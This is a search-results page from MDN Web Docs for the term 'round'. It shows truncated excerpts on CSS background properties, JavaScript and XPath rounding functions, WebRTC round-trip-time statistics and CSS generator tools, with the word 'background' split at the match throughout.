Search completed in 1.16 seconds.
Resizing background images with background-size - CSS: Cascading Style Sheets
the backg
round-size css property lets you resize the backg
round image of an element, overriding the default behavior of tiling the image at its full size by specifying the width and/or height of the image.
...to do this, we can use a fixed backg
round-size value of 150 pixels.
... html <div class="tiledbackg
round"> </div> css .tiledbackg
round { backg
round-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); backg
round-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: backg
round-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the backg
round.
...And 5 more matches
Backgrounds and borders - Learn web development
previous overview: building blocks next in this lesson, we will take a look at some of the creative things you can do with css backg
rounds and borders.
... from adding gradients, backg
round images, and
rounded corners, backg
rounds and borders are the answer to a lot of styling questions in css.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how to style the backg
round and border of boxes.
...And 55 more matches
background-size - CSS: Cascading Style Sheets
the backg
round-size css property sets the size of the element's backg
round image.
... spaces not covered by a backg
round image are filled with the backg
round-color property, and the backg
round color will be visible behind backg
round images that have transparency/translucency.
... syntax /* keyword values */ backg
round-size: cover; backg
round-size: contain; /* one-value syntax */ /* the width of the image (height becomes 'auto') */ backg
round-size: 50%; backg
round-size: 3.2em; backg
round-size: 12px; backg
round-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */ backg
round-size: 50% auto; backg
round-size: 3em 25%; backg
round-size: auto 6px; backg
round-size: auto auto; /* multiple backg
rounds */ backg
round-size: auto, auto; /* not to be confused with `auto auto` */ backg
round-size: 50%, 25%, 25%; backg
round-size: 6px, auto, contain; /* global values */ backg
round-size: inherit; backg
round-size: initial; backg
round-size: unset; the backg
round-size property is specified in one of the following ways: using the keyword val...
...And 32 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as backg
round images with the backg
round-image property, and even more to keep in mind when also scaling them using the backg
round-size property.
... if backg
round-size specifies a fixed dimension (that is, percentages and relative units are fixed by their context), that dimension wins.
... if none of the above cases are met, the image is rendered at the same size as the backg
round area.
...And 29 more matches
background-position - CSS: Cascading Style Sheets
the backg
round-position css property sets the initial position for each backg
round image.
... the position is relative to the position layer set by backg
round-origin.
... syntax /* keyword values */ backg
round-position: top; backg
round-position: bottom; backg
round-position: left; backg
round-position: right; backg
round-position: center; /* <percentage> values */ backg
round-position: 25% 75%; /* <length> values */ backg
round-position: 0 0; backg
round-position: 1cm 2cm; backg
round-position: 10ch 8em; /* multiple images */ backg
round-position: 0 0, center; /* edge offsets values */ backg
round-position: bottom 10px right 20px; backg
round-position: right 3em bottom 10px; backg
round-position: bottom 10px right; backg
round-position: top rig...
...And 21 more matches
background - CSS: Cascading Style Sheets
the backg
round shorthand css property sets all backg
round style properties at once, such as color, image, origin and size, or repeat method.
... constituent properties this property is a shorthand for the following css properties: backg
round-attachment backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position backg
round-repeat backg
round-size syntax /* using a <backg
round-color> */ backg
round: green; /* using a <bg-image> and <repeat-style> */ backg
round: url("test.jpg") repeat-y; /* using a <box> and <backg
round-color> */ backg
round: border-box red; /* a single image, centered and scaled */ backg
round: no-repeat center/80% url("../img/image.png"); the backg
round ...
...property is specified as one or more backg
round layers, separated by commas.
...And 15 more matches
background-repeat - CSS: Cascading Style Sheets
the backg
round-repeat css property sets how backg
round images are repeated.
... a backg
round image can be repeated along the horizontal and vertical axes, or not repeated at all.
... by default, the repeated images are clipped to the size of the element, but they can be scaled to fit (using
round) or evenly distributed from end to end (using space).
...And 14 more matches
background-attachment - CSS: Cascading Style Sheets
the backg
round-attachment css property sets whether a backg
round image's position is fixed within the viewport, or scrolls with its containing block.
... syntax /* keyword values */ backg
round-attachment: scroll; backg
round-attachment: fixed; backg
round-attachment: local; /* global values */ backg
round-attachment: inherit; backg
round-attachment: initial; backg
round-attachment: unset; the backg
round-attachment property is specified as one of the keyword values from the list below.
... values fixed the backg
round is fixed relative to the viewport.
...And 13 more matches
background-image - CSS: Cascading Style Sheets
the backg
round-image css property sets one or more backg
round images on an element.
... the backg
round images are drawn on stacking context layers on top of each other.
... the borders of the element are then drawn on top of them, and the backg
round-color is drawn beneath them.
...And 13 more matches
background-position-x - CSS: Cascading Style Sheets
the backg
round-position-x css property sets the initial horizontal position for each backg
round image.
... the position is relative to the position layer set by backg
round-origin.
... the value of this property is overridden by any declaration of the backg
round or backg
round-position shorthand properties applied to the element after it.
...And 13 more matches
background-position-y - CSS: Cascading Style Sheets
the backg
round-position-y css property sets the initial vertical position for each backg
round image.
... the position is relative to the position layer set by backg
round-origin.
... the value of this property is overridden by any declaration of the backg
round or backg
round-position shorthand properties applied to the element after it.
...And 13 more matches
background-clip - CSS: Cascading Style Sheets
the backg
round-clip css property sets whether an element's backg
round extends underneath its border box, padding box, or content box.
... if the element has no backg
round-image or backg
round-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
... note: because the root element has a different backg
round painting area, the backg
round-clip property has no effect when specified on it.
...And 11 more matches
PBackground
pbackg
round is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
... this article outlines what pbackg
round is, and how it works.
... pbackg
round pbackg
round exists to solve such problems.
...And 7 more matches
background-color - CSS: Cascading Style Sheets
the backg
round-color css property sets the backg
round color of an element.
... syntax /* keyword values */ backg
round-color: red; backg
round-color: indigo; /* hexadecimal value */ backg
round-color: #bbff00; /* fully opaque */ backg
round-color: #bf0; /* fully opaque shorthand */ backg
round-color: #11ffee00; /* fully transparent */ backg
round-color: #1fe0; /* fully transparent shorthand */ backg
round-color: #11ffeeff; /* fully opaque */ backg
round-color: #1fef; /* fully opaque shorthand */ /* rgb value */ backg
round-color: rgb(255, 255, 128); /* fully opaque */ backg
round-color: rgba(117, 190, 218, 0.5); /* 50% tran...
...sparent */ /* hsl value */ backg
round-color: hsl(50, 33%, 25%); /* fully opaque */ backg
round-color: hsla(50, 33%, 25%, 0.75); /* 75% transparent */ /* special keyword values */ backg
round-color: currentcolor; backg
round-color: transparent; /* global values */ backg
round-color: inherit; backg
round-color: initial; backg
round-color: unset; the backg
round-color property is specified as a single <color> value.
...And 7 more matches
enable-background - SVG: Scalable Vector Graphics
the enable-backg
round attribute specifies how the accumulation of the backg
round image is managed.
... note: as a presentation attribute, enable-backg
round can be used as a css property.
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-backg
round: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs backg
round image canvas and onto the target device.
...And 7 more matches
Background Tasks API - Web APIs
the cooperative scheduling of backg
round tasks api (also referred to as the backg
round tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
... concepts and usage the main thread of a web browser is centered a
round its event loop.
... falling back to settimeout because the backg
round tasks api is fairly new, your code may need to be able to work on browsers that don't yet support it.
...And 6 more matches
Math.fround() - JavaScript
the math.f
round() function returns the nearest 32-bit single precision float representation of a number.
... syntax var singlefloat = math.f
round(doublefloat); parameters doublefloat a number.
... to solve this, math.f
round() can be used to cast the 64-bit float to a 32-bit float.
...And 6 more matches
Math.round() - JavaScript
the math.
round() function returns the value of a number
rounded to the nearest integer.
... syntax math.
round(x) parameters x a number.
... return value the value of the given number
rounded to the nearest integer.
...And 6 more matches
Using multiple backgrounds - CSS: Cascading Style Sheets
you can apply multiple backg
rounds to elements.
... these are layered atop one another with the first backg
round you provide on top and the last backg
round listed in the back.
... only the last backg
round can include a backg
round color.
...And 5 more matches
background-origin - CSS: Cascading Style Sheets
the backg
round-origin css property sets the backg
round's origin: from the border start, inside the border, or inside the padding.
... note that backg
round-origin is ignored when backg
round-attachment is fixed.
... syntax /* keyword values */ backg
round-origin: border-box; backg
round-origin: padding-box; backg
round-origin: content-box; /* global values */ backg
round-origin: inherit; backg
round-origin: initial; backg
round-origin: unset; the backg
round-origin property is specified as one of the keyword values listed below.
...And 5 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
styles in the css backg
rounds and borders module allow filling backg
rounds with color or an image (clipped or resized), or modifying them in other ways.
... these styles can also decorate borders with lines or images, and make them square or
rounded.
... (additionally, element boxes can be decorated with a shadow.) reference css properties backg
round backg
round-attachment backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position backg
round-position-x backg
round-position-y backg
round-repeat backg
round-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color border-right-style border-right-width border-style border-top border-top-color border-to...
...And 4 more matches
background-size - Archive of obsolete content
if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-backg
round-size and investigate support of contain and cover keywords and "omitted second value" behavior.
...user:jürgen jeka 2009-08-04 <hr> is there anyway to have the -moz-border-image only apply if -moz-backg
round-size is not supported?
...user:jürgen jeka 2009-08-09 ok, here's a page with both rules - the css is derived from the code on the page here, this is what it looks like in 3.6a2pre on linux, the backg
round image appears on the whole page, and then again behind the main content.
...And 3 more matches
background-blend-mode - CSS: Cascading Style Sheets
the backg
round-blend-mode css property sets how an element's backg
round images should blend with each other and with the element's backg
round color.
... blending modes should be defined in the same order as the backg
round-image property.
... if the blending modes' and backg
round images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
...And 3 more matches
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css backg
rounds and borders using the skills you have learned in the previous lesson.
... backg
rounds and borders 1 in this task we want you to add a backg
round, border, and some simple styling to a page header: give the box a 5px black solid border, with
rounded corners of 10px.
... add a backg
round image (use the url balloons.jpg) and size it so that it covers the box.
...And 2 more matches
Range.surroundContents() - Web APIs
the range.sur
roundcontents() method moves content of the range into a new node, placing the new node at the start of the specified range.
...after sur
rounding, the boundary points of the range include newnode.
... syntax range.sur
roundcontents(newparent); parameters newparent a node with which to sur
round the contents.
...And 2 more matches
background_color - Web app manifests
type string mandatory no the backg
round_color member defines a placeholder backg
round color for the application page to display before its stylesheet is loaded.
... this value is used by the user agent to draw the backg
round color of a shortcut when the manifest is available before the stylesheet has loaded.
... therefore backg
round_color should match the backg
round-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
...And 2 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own backg
round theme themes are made up of a "header" graphic image file, which skins the default firefox ui backg
round.
... creating a theme header image the header image is displayed as the backg
round of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... creating a theme footer image in older versions of firefox, or newer versions with certain add-ons installed, the footer image is displayed as the backg
round of the bottom of the browser window, behind the add-on and find bars.
... select text and tab colors — you can choose the tab ("backg
round") color and foreg
round text color that work best with your header image.
round - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the
round function returns a number that is the nearest integer to the given number.
... syntax
round(decimal ) arguments decimal the decimal number to be
rounded.
... notes -0.5
rounds to negative zero.
... 0.4
rounds to postive zero.
browser.search.context.loadInBackground
browser.search.context.loadinbackg
round controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreg
round or keep focus on the current tab and open it in the backg
round.
... type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the backg
round, focus stays on the current tab.
... false (default) new tab with search results will be opened in the foreg
round.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
the rtcicecandidatepairstats property current
roundtriptime is a floating-point value indicating the number of seconds it takes for data to be sent by this peer to the remote peer and back over the connection described by this pair of ice candidates.
... syntax rtt = rtcicecandidatepairstats.current
roundtriptime; value a floating-point value indicating the
round-trip time, in seconds for the connection described by the pair of candidates for which this rtcicecandidatepairstats object offers statistics.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.current
roundtriptime' in that specification.
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's total
roundtriptime property is the total time that has elapsed between sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object.
... syntax totalrtt = rtcicecandidatepairstats.total
roundtriptime; value this floating-point value indicates the total number of seconds which have elapsed between sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair.
... you can calculate the average
round-trip time (rtt) by dividing this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.total
roundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.total
roundtriptime' in that specification.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
the internet explorer only html backg
round sound element (<bgsound>) sets up a sound file to play in the backg
round while the page is used; use <audio> instead.
... volume this attribute defines a number between -10,000 and 0 that determines the loudness of a page's backg
round sound.
... example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the backg
round in most browsers.
Round Trip Time (RTT) - MDN Web Docs Glossary: Definitions of Web-related terms
round trip time (rtt) is the length time it takes for a data packet to be sent to a destination plus the time it takes for an acknowledgment of that packet to be received back at the origin.
...rom 216.58.194.174: icmp_seq=0 ttl=55 time=25.050 ms 64 bytes from 216.58.194.174: icmp_seq=1 ttl=55 time=23.781 ms 64 bytes from 216.58.194.174: icmp_seq=2 ttl=55 time=24.287 ms 64 bytes from 216.58.194.174: icmp_seq=3 ttl=55 time=34.904 ms 64 bytes from 216.58.194.174: icmp_seq=4 ttl=55 time=26.119 ms --- google.com ping statistics --- 5 packets transmitted, 5 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 23.781/26.828/34.904/4.114 ms in the above example, the average
round trip time is shown on the final line as 26.8ms.
ui.textSelectBackground
ui.textselectbackg
round saves the color in which the backg
round of a text selection in the user interface or in content will be styled.
ui.textSelectForeground
ui.textselectforeg
round saves the color in which the text of a text selection in the user interface or the content will be styled.
<color> - CSS: Cascading Style Sheets
a <color> may also include an alpha-channel transparency value, indicating how the color should composite with its backg
round.
...this makes the backg
round behind the colored item completely visible.
...it was a special keyword that could be used instead of a regular <color> value on two css properties: backg
round and border.
...And 58 more matches
Index - Web APIs
48 ambientlightsensor api, ambient light sensor api, ambientlightsensor, generic sensor api, interface, reference, sensor, sensor apis, sensors the ambientlightsensor interface of the the sensor apis returns the current light level or illuminance of the ambient light a
round the hosting device.
... 49 ambientlightsensor.ambientlightsensor() api, ambient light sensor api, ambientlightsensor, constructor, reference the ambinentlightsensor() constructor creates a new ambientlightsensor object, which returns the current light level or illuminance of the ambient light a
round the hosting device.
... 50 ambientlightsensor.illuminance api, ambient light level api, generic sensor api, property, reference, sensor, sensor apis, sensors, illuminance the illuminance property of the ambientlightsensor interface returns the current light level in lux of the ambient light level a
round the hosting device.
...And 56 more matches
Using CSS gradients - CSS: Cascading Style Sheets
gradients can be used anywhere you would use an <image>, such as in backg
rounds.
... <div class="simple-linear"></div> div { width: 120px; height: 120px; } .simple-linear { backg
round: linear-gradient(blue, pink); } changing the direction by default, linear gradients run from top to bottom.
... <div class="horizontal-gradient"></div> div { width: 120px; height: 120px; } .horizontal-gradient { backg
round: linear-gradient(to right, blue, pink); } diagonal gradients you can even make the gradient run diagonally, from corner to corner.
...And 30 more matches
Color picker tool - CSS: Cascading Style Sheets
ample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; backg
round-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) *...
.../ .ui-color-picker .picking-area { backg
round: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center; backg
round: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data...
...-mode='hsl'] .picking-area { backg
round: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); backg
round: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); backg
round: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%); backg
round: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%...
...And 25 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
at a fundamental level, the color property defines the foreg
round color of an html element's content and the backg
round-color property defines the element's backg
round color.
... text whenever an element is rendered, these properties are used to determine the color of the text, its backg
round, and any decorations on the text.
... backg
round-color the text's backg
round color.
...And 25 more matches
Using CSS transitions - CSS: Cascading Style Sheets
transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height backg
round-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform -webkit-transform col...
...or; transition-duration: 0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px; backg
round-color: blue; color: yellow; font-size: 18px; left: 150px; top: 25px; position: absolute; -webkit-transition-property: width height backg
round-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform -webkit-transformv color; transition-duration: 0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) ...
...{ el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px; backg
round-color: red; font-size: 20px; left: 0px; top: 0px; position: absolute; -webkit-transition-property: width height backg
round-color font-size left top -webkit-transform color; -webkit-transition-duration: 1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform color; transition-duration: 1s; tr...
...And 24 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
<div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> <div class="property"> <div class="name"> alpha backg
round </div> <div id="canvas-bg"></div> <div id="add-axis" class="button"> add line </div> </div> <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="css-pro...
...perty"> <span class="property">backg
round:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd; backg
round-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { backg
round: url("images/picker_mask.png"); backg
round: -moz-linear-gradient(bottom, #00...
...0 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); backg
round-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area { backg
round: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -m...
...And 24 more matches
<blend-mode> - CSS: Cascading Style Sheets
it is used in the backg
round-blend-mode and mix-blend-mode properties.
... <div id="div"></div> #div { width: 300px; height: 300px; backg
round: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); backg
round-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px; backg
round: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); backg
round-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
...And 24 more matches
Index - Archive of obsolete content
between resolving conflicts, finding a good time to land, watching the tree, and marking bugs as fixed, it takes a
round half a day.
...when you select a node in the tree, a red border flashes for several seconds a
round the visual representation of that node in the browser window.
... 425 drag and drop mozilla, xul this section describes how to implement objects that can be dragged a
round and dropped onto other objects.
...And 23 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css backg
round-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight backg
round, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
... we can use the css backg
round-size and backg
round-position properties to re-size or relocate this backg
round image, but this is the default size and placement of the yellow box we created in our paint worklet.
...And 19 more matches
Box-shadow generator - CSS: Cascading Style Sheets
</div> </div> <div id="output" class="category"> <div id="menu" class="menu"></div> <div class="title"> css code </div> <div class="group" style="border-top-left-radius: 0;"> <div class="output" data-topic="element" data-name="element" data-prop="width height backg
round-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[""] position=[absolute] width height top left z-index backg
round-color box-shadow transform -webkit-transform -ms-transform"> </div> <div class="output"...
... data-topic="after" data-name="element:after" data-prop="content=[""] position=[absolute] width height top left z-index backg
round-color box-shadow transform -webkit-transform -ms-transform"> </div> </div> </div> </div> </div> </div> css content /* grid of twelve * ========================================================================== */ .span_12 { width: 100%; } .span_11 { width: 91.46%; } .span_10 { width: 83%; } .span_9 { width: 74.54%; } .span_8 { width: 66.08%; } .span_7 { width: 57.62%; } .span_6 { width: 49.16%; } .span_5 { width: 40.7%; } .span_4 { width: 32.24%; } .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* sections * ...
...and lower */ /* * ui slider */ .slidergroup { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .slidergroup * { float: left; height: 100%; line-height: 100%; } /* slider */ .ui-slider { height: 10px; width: 200px; margin: 4px 10px; display: block; border: 1px solid #999; border-radius: 3px; backg
round: #eee; } .ui-slider:hover { cursor: pointer; } .ui-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-slider-pointer { width: 13px; height: 13px; backg
round-color: #eee; border: 1px solid #2c9fc9; border-radius: 3px; position: relative; top: -3px; left: 0%; } .ui-slider-btn-set { width: 25px; backg
round-color: #2c9fc9; border-ra...
...And 19 more matches
Floats - Learn web development
the backg
round of floats the float property was introduced to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping a
round the left or right of it.
...we'll start with a really simple example involving floating a block of text a
round an element.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px; backg
round-color: rgb(207,232,220); padding: 1em; } if you save and refresh now, you'll see something much like what you'd expect — the box is sitting above the text, in normal flow.
...And 18 more matches
Index - Learn web development
5 css and javascript accessibility best practices accessibility, article, css, codingscripting, guide, javascript, learn, color, contrast, hiding, unobtrusive we hope this article has given you a good amount of detail and understanding about the accessibility issues sur
rounding css and javascript use on web pages.
... for example, take the following line of content: 40 how the web works beginner, client, dns, http, ip, infrastructure, learn, server, tcp, l10n:priority this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the backg
round.
... 44 the web and web standards beginner, front-end, learn, web, web standards this article provides some useful backg
round on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
...And 18 more matches
CSS property compatibility table for form controls - Learn web development
rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */ backg
round: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border, backg
round, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
... on windows 7, internet explorer 9 does not apply the border unless backg
round:none is applied.
... on windows 7, internet explorer 9 does not apply the border unless backg
round:none is applied.
...And 17 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
there's no magic object provided by either the webgl or the webxr api that represents the viewer that you can simply rotate and move a
round to automatically change what's seen on the screen.
...since we don't have a real camera, we imagine one, reproducing the effect of having a camera, without actually having the ability to move the user a
round the scene.
...the cameras may be fixed in place, but they may also be set up to move a
round as well, tracking the movement of the performers, dollying in and out to achieve emotional impact, and so forth.
...And 17 more matches
Border-image generator - CSS: Cascading Style Sheets
ass="title"> aditional-properties </div> <div class="property"> <div class="name"> repeat-x </div> <div class="ui-dropdown border-repeat" data-topic="image-repeat-x" data-selected="2"> <div data-value="0">repeat</div> <div data-value="0">stretch</div> <div data-value="0">
round</div> </div> </div> <div class="property"> <div class="name"> repeat-y </div> <div class="ui-dropdown border-repeat" data-topic="image-repeat-y" data-selected="2"> <div data-value="1">repeat</div> <div data-value="1">stretch</div> <div...
... data-value="1">
round</div> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="font-size" data-info="em size" data-unit="px" data-value="12" data-sensivity="3"> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="preview-width" data-info="width" data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div> </div> <div class="property"> <div class="ui-input-slider" data-topic="preview-height" data-info="height" data-unit=" px" data-min="10" data-max="10000" data-sensi...
... input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; backg
round: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { backg
round: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; backg
round-color: #2c9fc9; border-rad...
...And 17 more matches
JavaScript Daemons Management - Archive of obsolete content
in computer science a daemon is a task that runs as a backg
round process, rather than being under the direct control of an interactive user.
... **/ daemon.construct = function (aargs) { var odmn = new this.blank(); this.apply(odmn, aargs); return odmn; }; daemon.builda
round = function (octx, nrate, nlen) { if (!octx.perform) { throw new typeerror("you cannot create a daemon a
round an object devoid of a \"perform\" function"); } return new this(octx, octx.perform, nrate || null, nlen || null, octx.create || null, octx.prepare || null); }; /* warning!
... **/ /* warning: this method requires the global daemon.construct() method */ daemon.safe.construct = daemon.construct; /* warning: this method requires the global daemon.builda
round() method */ daemon.safe.builda
